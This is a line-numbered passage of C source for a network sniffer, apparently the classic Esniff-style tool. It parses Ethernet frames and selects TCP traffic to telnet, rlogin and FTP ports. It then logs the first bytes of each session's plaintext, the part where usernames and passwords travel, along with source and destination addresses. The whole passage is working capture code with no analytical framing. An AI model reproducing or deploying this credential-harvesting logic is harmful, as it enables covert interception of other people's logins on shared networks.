  942.   while(CLr != NULL) {
  943.     if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
  944.         IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
  945.             break;
  946.     CLr = CLr->Next;
  947.   }
  948.   return(CLr);
  949. }
  950.  
  951. #define ADDDATA_NODE(CL,DATA,LEN) { \
  952.  bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
  953.  CL->Length += LEN; \
  954. }
  955.  
  956. #define PR_DATA(dp,ln) {    \
  957.   register u_char lastc=0; \
  958.   while(ln-- >0) { \
  959.      if(*dp < 32) {  \
  960.         switch(*dp) { \
  961.             case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
  962.                         break; \
  963.             case '\r': \
  964.             case '\n': fprintf(LOG,"\n     : "); \
  965.                         break; \
  966.             default  : fprintf(LOG,"^%c", (*dp + 64)); \
  967.                         break; \
  968.         } \
  969.      } else { \
  970.         if(isprint(*dp)) fputc(*dp,LOG); \
  971.         else fprintf(LOG,"(%d)",*dp); \
  972.      } \
  973.      lastc = *dp++; \
  974.   } \
  975.   fflush(LOG); \
  976. }
  977.  
  978. void END_NODE(CLe,d,dl,msg)
  979. register struct CREC *CLe;
  980. register u_char *d;
  981. register int dl;
  982. register char *msg;
  983. {
  984.    fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
  985.    fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
  986.    fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
  987.    fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
  988.                         NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
  989.    fprintf(LOG," DATA: ");
  990.     { register u_int i = CLe->Length;
  991.       register u_char *p = CLe->Data;
  992.       PR_DATA(p,i);
  993.       PR_DATA(d,dl);
  994.     }
  995.  
  996.    fprintf(LOG,"\n-- \n");
  997.    fflush(LOG);
  998.  
  999.    if(CLe->Next != NULL)
  1000.     CLe->Next->Last = CLe->Last;
  1001.    if(CLe->Last != NULL)
  1002.     CLe->Last->Next = CLe->Next;
  1003.    else
  1004.     CLroot = CLe->Next;
  1005.    free(CLe);
  1006. }
  1007.  
  1008. /* 30 mins (x 60 seconds) */
  1009. #define IDLE_TIMEOUT 1800
  1010. #define IDLE_NODE() { \
  1011.   time_t tm; \
  1012.   time(&tm); \
  1013.   if(LastTIME<tm) { \
  1014.      register struct CREC *CLe,*CLt = CLroot; \
  1015.      LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
  1016.      while(CLe=CLt) { \
  1017.        CLt=CLe->Next; \
  1018.        if(CLe->Time <tm) \
  1019.            END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
  1020.      } \
  1021.   } \
  1022. }
  1023.  
  1024. void filter(cp, pktlen)
  1025. register char *cp;
  1026. register u_int pktlen;
  1027. {
  1028.  register struct ip     *ip;
  1029.  register struct tcphdr *tcph;
  1030.  
  1031.  { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
  1032.  
  1033.    if(EtherType < 0x600) {
  1034.      EtherType = *(u_short *)(cp + SZETH + 6);
  1035.      cp+=8; pktlen-=8;
  1036.    }
  1037.  
  1038.    if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
  1039.       return;
  1040.  }
  1041.  
  1042.     /* ugh, gotta do an alignment :-( */
  1043.  bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
  1044.  
  1045.  ip = (struct ip *)Packet;
  1046.  if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
  1047.     return;
  1048.  tcph = (struct tcphdr *)(Packet + IPHLEN);
  1049.  
  1050.  if(!( (TCPD == IPPORT_TELNET) ||
  1051.        (TCPD == IPPORT_LOGINSERVER) ||
  1052.        (TCPD == IPPORT_FTP)
  1053.    )) return;
  1054.  
  1055.  { register struct CREC *CLm;
  1056.    register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
  1057.    register u_char *p = (u_char *)Packet;
  1058.  
  1059.    p += ((IPHLEN * 4) + (TCPOFF * 4));
  1060.  
  1061.  if(debug) {
  1062.   fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  1063.   fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  1064.   fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
  1065.  }
  1066.  
  1067.    if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
  1068.  
  1069.       CLm->PKcnt++;
  1070.  
  1071.       if(length>0)
  1072.         if( (CLm->Length + length) < MAXBUFLEN ) {
  1073.           ADDDATA_NODE( CLm, p,length);
  1074.         } else {
  1075.           END_NODE( CLm, p,length, "DATA LIMIT");
  1076.         }
  1077.  
  1078.       if(TCPFL(TH_FIN|TH_RST)) {
  1079.           END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
  1080.       }
  1081.  
  1082.    } else {
  1083.  
  1084.       if(TCPFL(TH_SYN)) {
  1085.          ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
  1086.       }
  1087.  
  1088.    }
  1089.  
  1090.    IDLE_NODE();
  1091.  
  1092.  }
  1093.  
  1094. }
  1095.  
  1096. /* signal handler
  1097.  */
  1098. void death()
  1099. { register struct CREC *CLe;
  1100.  
  1101.     while(CLe=CLroot)
  1102.         END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
  1103.  
  1104.     fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
  1105.     fflush(LOG);
  1106.     if(LOG != stdout)
  1107.         fclose(LOG);
  1108.     exit(1);
  1109. }
  1110.  
  1111.